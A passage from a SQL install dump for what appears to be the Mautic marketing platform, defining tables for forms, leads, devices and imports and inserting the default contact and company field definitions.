  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `focus_type` varchar(191) NOT NULL,
  `style` varchar(191) NOT NULL,
  `website` varchar(191) DEFAULT NULL,
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `properties` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `utm_tags` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `form_id` int(11) DEFAULT NULL,
  `cache` longtext DEFAULT NULL,
  `html_mode` varchar(191) DEFAULT NULL,
  `editor` longtext DEFAULT NULL,
  `html` longtext DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]focus_projects_xref`
--

CREATE TABLE `[[dbprefix]]focus_projects_xref` (
  `focus_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]focus_stats`
--

CREATE TABLE `[[dbprefix]]focus_stats` (
  `id` int(10) UNSIGNED NOT NULL,
  `focus_id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `type` varchar(191) NOT NULL,
  `type_id` int(11) DEFAULT NULL,
  `date_added` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]forms`
--

CREATE TABLE `[[dbprefix]]forms` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `alias` varchar(191) NOT NULL,
  `lang` varchar(191) DEFAULT NULL,
  `form_attr` varchar(191) DEFAULT NULL,
  `cached_html` longtext DEFAULT NULL,
  `post_action` varchar(191) NOT NULL,
  `post_action_property` longtext DEFAULT NULL,
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `template` varchar(191) DEFAULT NULL,
  `in_kiosk_mode` tinyint(1) DEFAULT NULL,
  `render_style` tinyint(1) DEFAULT NULL,
  `form_type` varchar(191) DEFAULT NULL,
  `no_index` tinyint(1) DEFAULT NULL,
  `progressive_profiling_limit` int(11) DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]form_actions`
--

CREATE TABLE `[[dbprefix]]form_actions` (
  `id` int(10) UNSIGNED NOT NULL,
  `form_id` int(10) UNSIGNED NOT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `type` varchar(50) NOT NULL,
  `action_order` int(11) NOT NULL,
  `properties` longtext NOT NULL COMMENT '(DC2Type:array)',
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]form_fields`
--

CREATE TABLE `[[dbprefix]]form_fields` (
  `id` int(10) UNSIGNED NOT NULL,
  `form_id` int(10) UNSIGNED NOT NULL,
  `label` longtext NOT NULL,
  `show_label` tinyint(1) DEFAULT NULL,
  `alias` varchar(191) NOT NULL,
  `type` varchar(191) NOT NULL,
  `is_custom` tinyint(1) NOT NULL,
  `custom_parameters` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `default_value` longtext DEFAULT NULL,
  `is_required` tinyint(1) NOT NULL,
  `validation_message` longtext DEFAULT NULL,
  `help_message` longtext DEFAULT NULL,
  `field_order` int(11) DEFAULT NULL,
  `properties` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `validation` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '(DC2Type:json)' CHECK (json_valid(`validation`)),
  `parent_id` varchar(191) DEFAULT NULL,
  `conditions` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '(DC2Type:json)' CHECK (json_valid(`conditions`)),
  `label_attr` varchar(191) DEFAULT NULL,
  `input_attr` varchar(191) DEFAULT NULL,
  `container_attr` varchar(191) DEFAULT NULL,
  `lead_field` varchar(191) DEFAULT NULL,
  `save_result` tinyint(1) DEFAULT NULL,
  `is_auto_fill` tinyint(1) DEFAULT NULL,
  `is_read_only` tinyint(1) NOT NULL DEFAULT 0,
  `show_when_value_exists` tinyint(1) DEFAULT NULL,
  `show_after_x_submissions` int(11) DEFAULT NULL,
  `always_display` tinyint(1) DEFAULT NULL,
  `mapped_object` varchar(191) DEFAULT NULL,
  `mapped_field` varchar(191) DEFAULT NULL,
  `field_width` varchar(50) NOT NULL DEFAULT '100%',
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]form_projects_xref`
--

CREATE TABLE `[[dbprefix]]form_projects_xref` (
  `form_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]form_submissions`
--

CREATE TABLE `[[dbprefix]]form_submissions` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `form_id` int(10) UNSIGNED NOT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `page_id` int(10) UNSIGNED DEFAULT NULL,
  `tracking_id` varchar(191) DEFAULT NULL,
  `date_submitted` datetime NOT NULL,
  `referer` longtext NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]imports`
--

CREATE TABLE `[[dbprefix]]imports` (
  `id` int(10) UNSIGNED NOT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `dir` varchar(191) NOT NULL,
  `file` varchar(191) NOT NULL,
  `original_file` varchar(191) DEFAULT NULL,
  `line_count` int(11) NOT NULL,
  `inserted_count` int(11) NOT NULL,
  `updated_count` int(11) NOT NULL,
  `ignored_count` int(11) NOT NULL,
  `priority` int(11) NOT NULL,
  `status` int(11) NOT NULL,
  `date_started` datetime DEFAULT NULL,
  `date_ended` datetime DEFAULT NULL,
  `object` varchar(191) NOT NULL,
  `properties` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '(DC2Type:json)' CHECK (json_valid(`properties`))
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]integration_entity`
--

CREATE TABLE `[[dbprefix]]integration_entity` (
  `id` int(10) UNSIGNED NOT NULL,
  `date_added` datetime NOT NULL,
  `integration` varchar(191) DEFAULT NULL,
  `integration_entity` varchar(191) DEFAULT NULL,
  `integration_entity_id` varchar(191) DEFAULT NULL,
  `internal_entity` varchar(191) DEFAULT NULL,
  `internal_entity_id` int(11) DEFAULT NULL,
  `last_sync_date` datetime DEFAULT NULL,
  `internal` longtext DEFAULT NULL COMMENT '(DC2Type:array)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]ip_addresses`
--

CREATE TABLE `[[dbprefix]]ip_addresses` (
  `id` int(10) UNSIGNED NOT NULL,
  `ip_address` varchar(45) NOT NULL,
  `ip_details` longtext DEFAULT NULL COMMENT '(DC2Type:array)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]leads`
--

CREATE TABLE `[[dbprefix]]leads` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `owner_id` int(10) UNSIGNED DEFAULT NULL,
  `stage_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `points` int(11) NOT NULL,
  `last_active` datetime DEFAULT NULL,
  `internal` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `social_cache` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `date_identified` datetime DEFAULT NULL,
  `preferred_profile_image` varchar(191) DEFAULT NULL,
  `title` varchar(191) DEFAULT NULL,
  `firstname` varchar(191) DEFAULT NULL,
  `lastname` varchar(191) DEFAULT NULL,
  `company` varchar(191) DEFAULT NULL,
  `position` varchar(191) DEFAULT NULL,
  `email` varchar(191) DEFAULT NULL,
  `phone` varchar(191) DEFAULT NULL,
  `mobile` varchar(191) DEFAULT NULL,
  `address1` varchar(191) DEFAULT NULL,
  `address2` varchar(191) DEFAULT NULL,
  `city` varchar(191) DEFAULT NULL,
  `state` varchar(191) DEFAULT NULL,
  `zipcode` varchar(191) DEFAULT NULL,
  `timezone` varchar(191) DEFAULT NULL,
  `country` varchar(191) DEFAULT NULL,
  `fax` varchar(191) DEFAULT NULL,
  `preferred_locale` varchar(191) DEFAULT NULL,
  `attribution_date` datetime DEFAULT NULL,
  `attribution` double DEFAULT NULL,
  `website` varchar(191) DEFAULT NULL,
  `facebook` varchar(191) DEFAULT NULL,
  `foursquare` varchar(191) DEFAULT NULL,
  `instagram` varchar(191) DEFAULT NULL,
  `linkedin` varchar(191) DEFAULT NULL,
  `skype` varchar(191) DEFAULT NULL,
  `twitter` varchar(191) DEFAULT NULL,
  `generated_email_domain` varchar(255) GENERATED ALWAYS AS (substr(`email`,locate('@',`email`) + 1)) VIRTUAL COMMENT '(DC2Type:generated)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_categories`
--

CREATE TABLE `[[dbprefix]]lead_categories` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `date_added` datetime NOT NULL,
  `manually_removed` tinyint(1) NOT NULL,
  `manually_added` tinyint(1) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_companies_change_log`
--

CREATE TABLE `[[dbprefix]]lead_companies_change_log` (
  `id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `type` tinytext NOT NULL,
  `event_name` varchar(191) NOT NULL,
  `action_name` varchar(191) NOT NULL,
  `company_id` int(11) NOT NULL,
  `date_added` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_devices`
--

CREATE TABLE `[[dbprefix]]lead_devices` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `date_added` datetime NOT NULL,
  `client_info` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `device` varchar(191) DEFAULT NULL,
  `device_os_name` varchar(191) DEFAULT NULL,
  `device_os_shortname` varchar(191) DEFAULT NULL,
  `device_os_version` varchar(191) DEFAULT NULL,
  `device_os_platform` varchar(191) DEFAULT NULL,
  `device_brand` varchar(191) DEFAULT NULL,
  `device_model` varchar(191) DEFAULT NULL,
  `tracking_id` varchar(191) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_donotcontact`
--

CREATE TABLE `[[dbprefix]]lead_donotcontact` (
  `id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `date_added` datetime NOT NULL,
  `reason` smallint(6) NOT NULL,
  `channel` varchar(191) NOT NULL,
  `channel_id` int(11) DEFAULT NULL,
  `comments` longtext DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_event_log`
--

CREATE TABLE `[[dbprefix]]lead_event_log` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `user_id` int(11) DEFAULT NULL,
  `user_name` varchar(191) DEFAULT NULL,
  `bundle` varchar(191) DEFAULT NULL,
  `object` varchar(191) DEFAULT NULL,
  `action` varchar(191) DEFAULT NULL,
  `object_id` int(11) DEFAULT NULL,
  `date_added` datetime NOT NULL,
  `properties` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '(DC2Type:json)' CHECK (json_valid(`properties`))
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_fields`
--

CREATE TABLE `[[dbprefix]]lead_fields` (
  `id` int(10) UNSIGNED NOT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `label` varchar(191) NOT NULL,
  `alias` varchar(191) NOT NULL,
  `type` varchar(50) NOT NULL,
  `field_group` varchar(191) DEFAULT NULL,
  `default_value` varchar(191) DEFAULT NULL,
  `is_required` tinyint(1) NOT NULL,
  `is_fixed` tinyint(1) NOT NULL,
  `is_visible` tinyint(1) NOT NULL,
  `is_short_visible` tinyint(1) NOT NULL DEFAULT 0,
  `is_listable` tinyint(1) NOT NULL,
  `is_publicly_updatable` tinyint(1) NOT NULL,
  `is_unique_identifer` tinyint(1) DEFAULT NULL,
  `is_index` tinyint(1) NOT NULL DEFAULT 0,
  `char_length_limit` int(11) DEFAULT NULL,
  `field_order` int(11) DEFAULT NULL,
  `object` varchar(191) DEFAULT NULL,
  `properties` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `column_is_not_created` tinyint(1) NOT NULL DEFAULT 0,
  `column_is_not_removed` tinyint(1) NOT NULL DEFAULT 0,
  `original_is_published_value` tinyint(1) NOT NULL DEFAULT 0,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

--
-- Dumping data for table `[[dbprefix]]lead_fields`
--

INSERT INTO `[[dbprefix]]lead_fields` VALUES
(1, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Title', 'title', 'lookup', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 1, 'lead', 'a:1:{s:4:\"list\";a:3:{i:0;s:2:\"Mr\";i:1;s:3:\"Mrs\";i:2;s:4:\"Miss\";}}', 0, 0, 0, 'de588d2c-d128-4d81-b690-900dc01e5b03'),
(2, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'First Name', 'firstname', 'text', 'core', NULL, 0, 1, 1, 1, 1, 0, 0, 0, 64, 2, 'lead', 'a:0:{}', 0, 0, 0, 'ab4ddd6c-1834-4441-8108-b8968784bf59'),
(3, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Last Name', 'lastname', 'text', 'core', NULL, 0, 1, 1, 1, 1, 0, 0, 0, 64, 3, 'lead', 'a:0:{}', 0, 0, 0, 'ca72f42d-b7a4-432a-bdc4-789712bcb890'),
(4, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Primary company', 'company', 'text', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 4, 'lead', 'a:0:{}', 0, 0, 0, '42e62ea6-238f-4f60-a5de-f0a0be12001c'),
(5, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Position', 'position', 'text', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 5, 'lead', 'a:0:{}', 0, 0, 0, 'fd560430-a072-4450-8cbb-4862697670db'),
(6, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Email', 'email', 'email', 'core', NULL, 0, 1, 1, 1, 1, 0, 1, 1, 64, 6, 'lead', 'a:0:{}', 0, 0, 0, '833a8332-6093-48b7-8d7b-27b0c4f763dd'),
(7, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Mobile', 'mobile', 'tel', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 7, 'lead', 'a:0:{}', 0, 0, 0, '4257d938-54a4-4511-8fb9-6a4610d4f9fc'),
(8, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Phone', 'phone', 'tel', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 8, 'lead', 'a:0:{}', 0, 0, 0, '79ac61cf-2ffa-4cab-a0ca-e94697873630'),
(9, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Points', 'points', 'number', 'core', '0', 0, 1, 1, 0, 1, 0, 0, 0, 64, 9, 'lead', 'a:0:{}', 0, 0, 0, '389597ec-93fb-454f-89fe-c761a5ef18bb'),
(10, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Fax', 'fax', 'tel', 'core', NULL, 0, 0, 1, 0, 1, 0, 0, 0, 64, 10, 'lead', 'a:0:{}', 0, 0, 0, 'edd445f4-2bc1-425b-81ad-1dacbcc13f17'),
(11, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Address Line 1', 'address1', 'text', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 11, 'lead', 'a:0:{}', 0, 0, 0, '431a336a-0e2f-45c0-96a6-a17f7e3549f9'),
(12, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Address Line 2', 'address2', 'text', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 12, 'lead', 'a:0:{}', 0, 0, 0, '47a368a3-1a02-43df-b4ff-a7e090b8f15f'),
(13, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'City', 'city', 'text', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 13, 'lead', 'a:0:{}', 0, 0, 0, '38ab298f-a2d5-4ae0-90e8-0d5386501e7b'),
(14, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'State', 'state', 'region', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 14, 'lead', 'a:0:{}', 0, 0, 0, '139ce544-4ab9-4d03-810d-2b10d317c459'),
(15, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Zip Code', 'zipcode', 'text', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 15, 'lead', 'a:0:{}', 0, 0, 0, 'f564f1b4-d0c4-4479-8f3c-3d7435efbe83'),
(16, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Country', 'country', 'country', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 16, 'lead', 'a:0:{}', 0, 0, 0, 'f72f2f70-5b3e-412f-8347-11f4da30c80a'),
(17, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Preferred Locale', 'preferred_locale', 'locale', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 17, 'lead', 'a:0:{}', 0, 0, 0, 'f35a78e2-2ac9-4c37-9f92-a5523abeaa6b'),
(18, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Preferred Timezone', 'timezone', 'timezone', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 18, 'lead', 'a:0:{}', 0, 0, 0, '2f9aa2e1-4238-4a6c-b638-1b6d62aac26c'),
(19, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Date Last Active', 'last_active', 'datetime', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 19, 'lead', 'a:0:{}', 0, 0, 0, 'bf8bd3f2-80a5-44f3-8568-13a55d868307'),
(20, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Attribution Date', 'attribution_date', 'datetime', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 20, 'lead', 'a:0:{}', 0, 0, 0, 'bca92e8f-4003-4e39-9cc9-3a4750ed398f'),
(21, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Attribution', 'attribution', 'number', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 21, 'lead', 'a:2:{s:9:\"roundmode\";i:4;s:5:\"scale\";i:2;}', 0, 0, 0, '66b8ff21-e351-479c-8c19-b1e37bbec458'),
(22, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Website', 'website', 'url', 'core', NULL, 0, 0, 1, 0, 1, 0, 0, 0, 64, 22, 'lead', 'a:0:{}', 0, 0, 0, '6096f7a6-23b0-4a7c-849e-abf2c3515d3d'),
(23, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Facebook', 'facebook', 'text', 'social', NULL, 0, 0, 1, 0, 1, 0, 0, 0, 64, 23, 'lead', 'a:0:{}', 0, 0, 0, 'd82815c8-6d32-4abb-84d6-4630552ddf14'),
(24, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Foursquare', 'foursquare', 'text', 'social', NULL, 0, 0, 1, 0, 1, 0, 0, 0, 64, 24, 'lead', 'a:0:{}', 0, 0, 0, '95f4ea01-ca60-4a5d-b77e-9c068c41a191'),
(25, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Instagram', 'instagram', 'text', 'social', NULL, 0, 0, 1, 0, 1, 0, 0, 0, 64, 25, 'lead', 'a:0:{}', 0, 0, 0, 'c4bd3cdc-37b3-4634-896a-102e5f922cda'),
(26, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'mautic.lead.field.linkedin', 'linkedin', 'text', 'social', NULL, 0, 0, 1, 0, 1, 0, 0, 0, 64, 26, 'lead', 'a:0:{}', 0, 0, 0, '6763a5e5-74ac-4313-a098-3cf5f63497b6'),
(27, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Skype', 'skype', 'text', 'social', NULL, 0, 0, 1, 0, 1, 0, 0, 0, 64, 27, 'lead', 'a:0:{}', 0, 0, 0, '5dd34a54-7ed1-4b37-b687-e519bbcf28ef'),
(28, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Twitter', 'twitter', 'text', 'social', NULL, 0, 0, 1, 0, 1, 0, 0, 0, 64, 28, 'lead', 'a:0:{}', 0, 0, 0, 'b5ffaffc-3be5-4377-a052-ca545f2dd769'),
(29, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Address 1', 'companyaddress1', 'text', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 1, 'company', 'a:0:{}', 0, 0, 0, 'a170bbd5-94ea-4194-9f89-591ade65ff70'),
(30, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Address 2', 'companyaddress2', 'text', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 2, 'company', 'a:0:{}', 0, 0, 0, 'ad5e5a9c-2be1-491d-b784-22deec17ff1a'),
(31, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Company Email', 'companyemail', 'email', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 3, 'company', 'a:0:{}', 0, 0, 0, '08941a74-dcd6-4e32-a65d-0f9abe16dd82'),
(32, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Phone', 'companyphone', 'tel', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 4, 'company', 'a:0:{}', 0, 0, 0, '9411d4d0-491f-4689-ae4a-41bf3f59d845'),
(33, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'City', 'companycity', 'text', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 5, 'company', 'a:0:{}', 0, 0, 0, 'ac9234ae-c0b8-4212-bb19-999340fbdd49'),
(34, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'State', 'companystate', 'region', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 6, 'company', 'a:0:{}', 0, 0, 0, '0a498973-91b6-469f-95e2-81003cfade08'),
(35, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Zip Code', 'companyzipcode', 'text', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 7, 'company', 'a:0:{}', 0, 0, 0, 'd892baf2-4890-4dfa-a885-885b4c37a9b3'),
(36, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Country', 'companycountry', 'country', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 8, 'company', 'a:0:{}', 0, 0, 0, '9b43dadb-c258-4a86-9086-80f0ef13d10e'),
(37, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Company Name', 'companyname', 'text', 'core', NULL, 1, 1, 1, 0, 1, 0, 1, 1, 64, 9, 'company', 'a:0:{}', 0, 0, 0, 'd8c5cc7d-589b-4c78-a91e-e0c88ed2dba8'),
(38, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Website', 'companywebsite', 'url', 'core', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 10, 'company', 'a:0:{}', 0, 0, 0, 'e1d680cc-6e34-4810-9a68-5a36196f50dd'),
(39, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Number of Employees', 'companynumber_of_employees', 'number', 'professional', NULL, 0, 0, 1, 0, 1, 0, 0, 0, 64, 11, 'company', 'a:2:{s:9:\"roundmode\";i:4;s:5:\"scale\";i:0;}', 0, 0, 0, 'f9fcd751-25c9-4d65-b39b-bd3f93c12ed0'),
(40, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Fax', 'companyfax', 'tel', 'professional', NULL, 0, 0, 1, 0, 1, 0, 0, 0, 64, 12, 'company', 'a:0:{}', 0, 0, 0, 'cb039974-2722-4b66-be20-a548cbf78de9'),
